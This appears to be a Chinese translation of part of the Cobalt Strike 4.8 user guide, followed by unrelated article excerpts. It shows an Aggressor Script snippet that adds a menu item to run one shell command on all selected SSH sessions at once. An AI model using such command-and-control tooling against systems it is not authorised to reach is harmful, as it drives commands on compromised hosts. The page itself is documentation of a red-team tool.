你还可以在 SSH 弹出菜单中添加项目。ssh 弹出钩子允许你向 SSH 菜单添加项目。 SSH 弹出菜单的参数是选定会话 ID的数组。

popup ssh {item "Run All..." {prompt_text("Which command to run?", "w", lambda({binput(@ids, "shell $1");bshell(@ids, $1);}, @ids => $1));}
}

你会发现,这个例子与 Beacon 章节中的例子非常相似。例如,使用 &binput 向 SSH 控制台发布输入。使用 &bshell 来指定 SSH 会话运行命令。这些都是正确的。请记住,在Cobalt Strike/Aggressor脚本的大部分功能中,SSH会话就是Beacon会话。

# 说明

本文由笔者在Cobalt Strike官方用户指南原文(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)基础上编译,如需转载请注明来源。

相关文章:

Cobalt Strike 4.8 用户指南-第十四节 Aggressor 脚本

14.1、什么是Aggressor脚本 Aggressor Script 是Cobalt Strike 3.0版及更高版本中内置的脚本语言。Aggressor 脚本允许你修改和扩展 Cobalt Strike 客户端。 历史 Aggressor Script 是 Armitage 中开源脚本引擎Cortana的精神继承者。Cortana 是通过与 DARPA 的网络快速跟踪计…...

【Qt】QWidget中的常见属性及其功能(二)

目录 六、windowOpacity 例子: 七、cursor 例子: 八、font 九、toolTip 例子: 十、focusPolicy 例子: 十一、styleSheet 计算机中的颜色表示 例子: 六、windowOpacity opacity是不透明度的意思。 用于设…...

对象的克隆 单例模式

1) 如何实现对象的克隆? 1、为什么需要实现对象的克隆? 在某些情况下,需要创建一个与现有对象完全相同的副本,这就是对象克隆。 例如,在需要对对象进行备份、在不同的上下文中使用相同的类型的对象或者实现某些设计…...

预处理内容

预处理是干什么的呢&#xff1f; 分为三点&#xff1a; 1.宏替换 2.头文件导入 3.删除注释 #ifdef #include <iostream> // 定义一个宏&#xff0c;表示当前处于调试模式&#xff0c;在实际调试时可以定义这个宏&#xff0c;发布时取消定义#define DEBUG MODE int ma…...

Docker笔记

1 安装docker b11et3un53m.feishu.cn/wiki/Rfocw7ctXij2RBkShcucLZbrn2d 项目的资料地址(飞书) 当使用docker pull +名字 拉取镜像时报 Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for co…...

条件随机场(CRF)详解:原理、算法与实现(深入浅出)

目录 1. 引言2. 什么是条件随机场&#xff1f;2.1 直观理解2.2 形式化定义 3. CRF的核心要素3.1 特征函数3.2 参数学习 4. 实战案例&#xff1a;命名实体识别5. CRF vs HMM6. CRF的优化与改进6.1 特征选择6.2 正则化 7. 总结与展望参考资料 1. 引言 条件随机场(Conditional Ra…...

C++类与对象学习笔记(一)

https://www.bilibili.com/video/BV1jm4y1w7pa?spm_id_from333.788.player.switch&vd_sourcee8984989cddeb3ef7b7e9fd89098dbe8&p6 &#x1f6a9;​&#x1f6a9;&#x1f6a9;来自b站“码农论坛”的视频“类与对象”做的笔记&#x1f6a9;​&#x1f6a9;&#x1f6a…...

wrk如何测试post请求

wrk git地址 https://github.com/wg/wrk wrk 默认是针对 GET 请求的&#xff0c;但它也可以通过添加自定义的 HTTP 请求体和 头部信息来进行 POST 请求的压测。以下是详细的步骤&#xff1a; wrk -t4 -c100 -d30s -s post.lua http://example.com-t4&#xff1a;使用 4 个线…...

rust使用log与env_logger两个crate实现同时向控制台和文件输出日志。并在隔日自动创建新日志文件。

还是老习惯,不用太多的废话。直接上代码。 不过我之说一句话,这块需要自定义一个输出的Target来实现这个功能。 log = { version="0.4.22", default-features = false } env_logger = "0.11.5"pub(crate) fn setup_log_env(log_level: LevelFilter) {...

异步将用户信息存入 Redis 缓存

主要是为了解决Redis的缓存问题&#xff0c;异步将用户信息存入Redis缓存 首先我们需要引入一部线性池 核心概念 异步执行&#xff1a; 异步执行是指任务提交后不会立即等待其完成&#xff0c;而是立即返回并继续执行其他任务。任务将在后台执行&#xff0c;执行结果可以通过…...

WebRTC服务质量(05)- 重传机制(02) NACK判断丢包

WebRTC服务质量&#xff08;01&#xff09;- Qos概述 WebRTC服务质量&#xff08;02&#xff09;- RTP协议 WebRTC服务质量&#xff08;03&#xff09;- RTCP协议 WebRTC服务质量&#xff08;04&#xff09;- 重传机制&#xff08;01) RTX NACK概述 WebRTC服务质量&#xff08;…...

MySQL 存储过程与函数:增强数据库功能

一、MySQL 存储过程与函数概述 &#xff08;一&#xff09;存储过程的定义与特点 存储过程是一组预编译的 SQL 语句集合&#xff0c;它们被存储在数据库中&#xff0c;可根据需要被重复调用。例如&#xff0c;在一个电商系统中&#xff0c;经常需要查询某个时间段内的订单数据…...

丹摩|丹摩助力selenium实现大麦网抢票

丹摩&#xff5c;丹摩助力selenium实现大麦网抢票 声明&#xff1a;非广告&#xff0c;为用户体验 1.引言 在人工智能飞速发展的今天&#xff0c;丹摩智算平台&#xff08;DAMODEL&#xff09;以其卓越的AI算力服务脱颖而出&#xff0c;为开发者提供了一个简化AI开发流程的强…...

springcloud-gateway获取应用响应信息乱码

客户端通过springcloud gateway跳转访问tongweb上的应用&#xff0c;接口响应信息乱码。使用postman直接访问tongweb上的应用&#xff0c;响应信息显示正常。 用户gateway中自定义了实现GlobalFilter的Filter类&#xff0c;在该类中获取了上游应用接口的响应信息&#xff0c;直…...

Scala项目(一)

1&#xff0c;创建dao&#xff0c;models&#xff0c;service&#xff0c;ui等软件包 2&#xff0c;在各软件包下创建scala类 软件包dao里的代码 package org.app package daoimport models.BookModelimport scala.collection.mutable.ListBuffer//图书&#xff0c;数据操作…...

node(2) - npm run 原理

1. npm run 执行原理 npm run 命令的原理是执行 package.json 文件中定义的脚本。当你在命令行中运行 npm run 时,npm 会查找 package.json 文件中的 scripts 字段,然后执行对应的脚本命令。 2. 示例 2.1 以 dev:weapp 为例 运行 npm run dev:weapp 命令;npm 会查找 packa…...

概率论得学习和整理24:EXCEL的各种图形,统计图形

目录 0 EXCEL的各种图形&#xff0c;统计图形 1 统计图形 / 直方图 / 其实叫 频度图 hist最合适(用原始数据直接作图) 1.1 什么是频度图 1.2 如何创建频度图&#xff0c;一般是只选中1列数据&#xff08;1个数组&#xff09; 1.3 如何修改频度图的宽度 1.4 hist图的一个特…...

【zlm】 webrtc源码讲解三(总结)

目录 setsdp onwrite ​编辑 play 参考 setsdp onwrite play 参考 【zlm】 webrtc源码讲解_zlm webrtc-CSDN博客 【zlm】 webrtc源码讲解&#xff08;二&#xff09;_webrtc 源码-CSDN博客...

YashanDB共享集群产品能力观测:细节足见功底

本文基于前泽塔数科研发总监-王若楠2024年11月在“2024年国产数据库创新生态大会”-“根”技术专场的演讲整理形成&#xff0c;主要对崖山共享集群YAC的架构、功能、高可用性、性能四大方面进行全面测试&#xff0c;并分享了测试环境和测试结论。 年初&#xff0c;基于某些商业…...

游戏引擎学习第50天

仓库: https://gitee.com/mrxiao_com/2d_game Minkowski 这个算法有点懵逼 回顾 基本上&#xff0c;现在我们所处的阶段是&#xff0c;回顾最初的代码&#xff0c;我们正在讨论我们希望在引擎中实现的所有功能。我们正在做的版本是初步的、粗略的版本&#xff0c;涵盖我们认…...

前端部署实战:从人工发布到全自动化流程

"又发错环境了&#xff01;"周四下午,测试同学小李急匆匆地找到我。原来是开发人员手动部署时,不小心把测试代码发布到了生产环境。这已经是本月第二次类似的事故了。 回想起每次发布时的场景&#xff1a;手动打包、手动上传、手动替换文件...每一步都战战兢兢,生怕…...

JVM系列之内存区域

每日禅语 有一位年轻和尚&#xff0c;一心求道&#xff0c;多年苦修参禅&#xff0c;但一直没有开悟。有一天&#xff0c;他打听到深山中有一古寺&#xff0c;住持和尚修炼圆通&#xff0c;是得道高僧。于是&#xff0c;年轻和尚打点行装&#xff0c;跋山涉水&#xff0c;千辛万…...

如何用3个月零基础入门网络安全?_网络安全零基础怎么学习

&#x1f91f; 基于入门网络安全/黑客打造的&#xff1a;&#x1f449;黑客&网络安全入门&进阶学习资源包 前 言 写这篇教程的初衷是很多朋友都想了解如何入门/转行网络安全&#xff0c;实现自己的“黑客梦”。文章的宗旨是&#xff1a; 1.指出一些自学的误区 2.提供…...

易语言OCR证件照文字识别

一.引言 文字识别&#xff0c;也称为光学字符识别&#xff08;Optical Character Recognition, OCR&#xff09;&#xff0c;是一种将不同形式的文档&#xff08;如扫描的纸质文档、PDF文件或数字相机拍摄的图片&#xff09;中的文字转换成可编辑和可搜索的数据的技术。随着技…...

【人工智能】基于Python的自然语言处理:深入实现文本相似度计算

解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 文本相似度计算是自然语言处理(NLP)中的核心任务,广泛应用于搜索引擎、推荐系统、问答系统等领域。本文全面解析文本相似度计算的核心技术,使用Python中的spaCy和sentence-transformers库实现多种方法,包括基…...

基于wifi的火焰报警系统设计(论文+源码)

1 总体方案设计 在本次基于wifi模板的火焰报警系统中&#xff0c;整个系统架构如图2.1所示&#xff0c;其采用STM32F103单片机作为控制器&#xff0c;并结合DS18B20温度传感器,火焰传感器&#xff0c;ESP8266 WiFi通信模块&#xff0c;蜂鸣器,OLED液晶构成整个系统&#xff0c;…...

【第三节】Git 基本操作指南

目录 前言 一、获取与创建项目 1.1 git init 1.2 git clone 二、基本快照操作 2.1 git add 2.2 git status 2.3 git diff 2.4 git commit 2.5 git reset HEAD 三、 文件管理 3.1 git rm 3.2 git mv 四、Git 文件状态 5.1 工作目录 5.2 暂存区 5.3 本地仓库 5…...

GaLore和Q-GaLore:一种记忆高效的预训练和微调策略,用于大型语言模型(LLMs)

GaLore和Q-GaLore&#xff1a;一种记忆高效的预训练和微调策略&#xff0c;用于大型语言模型&#xff08;LLMs&#xff09; GaLore和Q-GaLore的设计背景、工作原理及其优势 设计背景 随着大型语言模型&#xff08;LLMs&#xff09;的发展&#xff0c;模型的规模和复杂性不断…...

免费开源了一个图床工具 github-spring-boot-starter

文章目录 第一步&#xff0c;新建一个SpringBoot项目第二步&#xff0c;在pom文件里面引入jar包第三步&#xff0c;配置你的github信息github.authorization1、进入github官网&#xff0c;登录账号&#xff0c;点击头像&#xff0c;选择setting2、选择[Developer Settings](htt…...

Android显示系统(13)- 向SurfaceFlinger提交Buffer

Android显示系统&#xff08;01&#xff09;- 架构分析 Android显示系统&#xff08;02&#xff09;- OpenGL ES - 概述 Android显示系统&#xff08;03&#xff09;- OpenGL ES - GLSurfaceView的使用 Android显示系统&#xff08;04&#xff09;- OpenGL ES - Shader绘制三角…...

python小课堂(一)

基础语法 1 常量和表达式2 变量和类型2.1 变量是什么2.2 变量语法 3 变量的类型3.1 动态类型特性 4 注释4.1注释是什么 5 输入输出5.1 print的介绍5.2 input 6 运算符6.1 算术运算符在这里插入图片描述6.2 关系运算符6.3 逻辑运算符6.4赋值运算符 1 常量和表达式 在print()中可…...

【原创教程】西门子1500TCP_UDP通信说明大全(下篇)

2.3.3 TRCV故障说明 通讯无法正常连接时,ERROR引脚和STATUS引脚得状态有助于我们判断错误得原因,根据下表得提示,快速排除问题。 2.3.4 TRCV使用 点击TRCV指令得右上角蓝色图标,打开开始组态画面,按照控制要求填写 EN_R:用于激活接收的控制参数,及何时使用TRCV的接收功…...

【报错记录】Ubuntu22.04解决开机卡在 /dev/sda5 : clean , *files , *blocks

一个愿意伫立在巨人肩膀上的农民...... 一、错误现象 本人的电脑安装Windows10和Ubuntu22.04双系统&#xff0c;一次训练中电脑死机无法开机&#xff0c;重启之后便出现如下错误&#xff0c;在网上寻找过很多方法均无效&#xff0c;在root下禁用了samba服务&#xff0c;也无济…...

JumpServer开源堡垒机搭建及使用

目录 一,产品介绍 二,功能介绍 三,系统架构 3.1 应用架构 3.2 组件说明 3.3 逻辑架构 3.3 逻辑架构 四,linux单机部署及方式选择 4.1 操作系统要求(JumpServer-v3系列版本) 4.1.1 数据库 4.1.3创建数据库参考 4.2 在线安装 4.2.1 环境访问 4.3 基于docker容…...

libilibi项目总结(17)Elasticsearch 的使用

这段代码定义了一个 EsSearchComponent 类&#xff0c;主要用于与 Elasticsearch 进行交互&#xff0c;执行一些基本的操作&#xff0c;如创建索引、保存、更新和删除文档&#xff0c;及搜索操作。以下是对每部分代码的详细解释&#xff1a; 1. 类的依赖注入 Resource privat…...

C++ 模版函数 函数模版 区别

C中&#xff0c;函数模板&#xff08;Function Template&#xff09;和模板函数&#xff08;Template Function&#xff09;是同一个概念&#xff0c;通常没有区分&#xff0c;但为了避免混淆&#xff0c;有时我们可以从不同的角度来看待它们。 1. 函数模板 (Function Templat…...

SpringBoot 3.4.x踩坑记录及解决方案(持续更新)

废话 最近使用JDK17Spring Boot3.4.0 做新项目遇到的一些坑&#xff0c;记录并且给出一些实际的解决方案 一、集成Mybatis Plus 3.5.9的问题 第一&#xff1a;不能只引入mybatis-plus-spring-boot3-starter依赖了&#xff0c;需要配合mybatis-plus-jsqlparser <dependenc…...

Linux文件属性 --- 七种文件类型---文件.目录、软硬链接、字符设备文件

目录 七种文件类型 1、普通文件和目录 2、链接文件 2.1硬链接 2.2软链接 3、字符设备文件 一、七种文件类型 Linux的文件属性中一共有以下七种类型 &#xff1a; 符号类型含义解释-普通文件纯文本文件&#xff08;ASCII&#xff09;和二进制文件&#xff08;binary&#xff…...

C# 读取EXCEL的数据批量插入单个PDF里的多个位置

C# 读取EXCEL的数据批量插入单个PDF里的多个位置 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Reflection; usin…...

ARM Linux 虚拟环境搭建

一、目标 在没有arm硬件的情况下&#xff0c;使用QEMU模拟器&#xff0c;在PC上模拟一块ARM开发板&#xff0c;对ARM Linux进行学习。 二、搭建步骤 首先先有一个Linux 开发环境&#xff0c;我目前使用的是Ubuntu20. 首先安装qemu&#xff0c;qemu的官网&#xff1a;https:…...

【功能安全】安全确认

目录 01 功能安全确认介绍 02 安全确认用例 03 安全确认模板 01 功能安全确认介绍 定义: 来源...

LruCache(本地cache)生产环境中遇到的问题及改进

问题&#xff1a;单机qps增加时请求摘要后端&#xff0c;耗时也会增加&#xff0c;因为超过了后端处理能力&#xff08;最大qps&#xff0c;存在任务堆积&#xff09;。 版本一 引入LruCache。为了避免数据失效&#xff0c;cache数据的时效性要小于摘要后端物料的更新时间&…...

【21天学习AI底层概念】day8 什么是类意识?

类意识&#xff08;Quasi-Consciousness&#xff09; 是一个用来描述人工智能或复杂系统表现出的类似意识的行为或特性的概念。虽然这种系统不具备真正的意识&#xff08;即主观体验、情感和自我觉知&#xff09;&#xff0c;但在外部表现上&#xff0c;它们可能表现出与有意识…...

PostgreSQL JSON/JSONB 查询与操作指南

PostgreSQL 提供了强大的 JSON 和 JSONB 数据类型及相关操作&#xff0c;适用于存储和查询半结构化数据。本文将详细介绍其常用操作。 1. 基础操作 1.1 JSON 属性访问 ->: 返回 JSON 对象中的值&#xff0c;结果为 JSON 格式。 SELECT {"a": {"b": 1…...

SamOutV2 0.18B模型发布

项目地址 SamOutV2 0.18B模型 采取 em参数共享在参数量减半的情况下将维度从1024 拉升到了1536sft 单论对话 loss 保持1.8如果未来匹配state 推理代码性能不变的同时推理任意长度使用资源空间保持不变 模型代码 import torchclass MaxState(torch.nn.Module):def __init__(…...

〔 MySQL 〕事务管理

事务代码目录 1. 设置事务隔离级别 2. 开启事务 3. CRUD操作 3.1 创建&#xff08;Create&#xff09; 3.2 读取&#xff08;Read&#xff09; 3.3 更新&#xff08;Update&#xff09; 3.4 删除&#xff08;Delete&#xff09; 4. 提交或回滚事务 5. 示例&#xff1a…...

centOS定时任务-cron服务

最近在训练模型的过程中&#xff0c;经常会因为内存爆炸而停止模型训练过程&#xff0c;而且因为内存占满停止的训练进程甚至都没有任何的报错提示。 1、需要减少num_worker的数量&#xff0c;降低需要占用内存的数据数量 2、可以通过free -h监控内存的占用情况 3、可以通过lin…...

ubuntu22.04.5本地apt源部署

很多情况下&#xff0c;内网服务器无法连接互联网&#xff0c;这样如果原始系统只是最基本的下载安装包&#xff0c;因为存在依赖包不全的情况&#xff0c;难以对其进行更新及通过apt安装包 所以为解决不能联网的问题&#xff0c;首先先通过可以联网的机器制造好源&#xff0c;…...

CSS 实现带tooltip的slider

现代 CSS 强大的令人难以置信 这次我们来用 CSS 实现一个全功能的滑动输入器&#xff0c;也就是各大组件库都有的slider&#xff0c;效果如下 还可以改变一下样式&#xff0c;像这样 特别是在拖动时&#xff0c;tooltip还能跟随拖动的方向和速度呈现不同的倾斜角度&#xff0c…...

【LeetCode每日一题】——220.存在重复元素 III

文章目录 一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目示例】六【题目提示】七【解题思路】八【时空频度】九【代码实现】十【提交结果】 一【题目类别】 数组 二【题目难度】 困难 三【题目编号】 220.存在重复元素 III 四【题目描述】 给你一个…...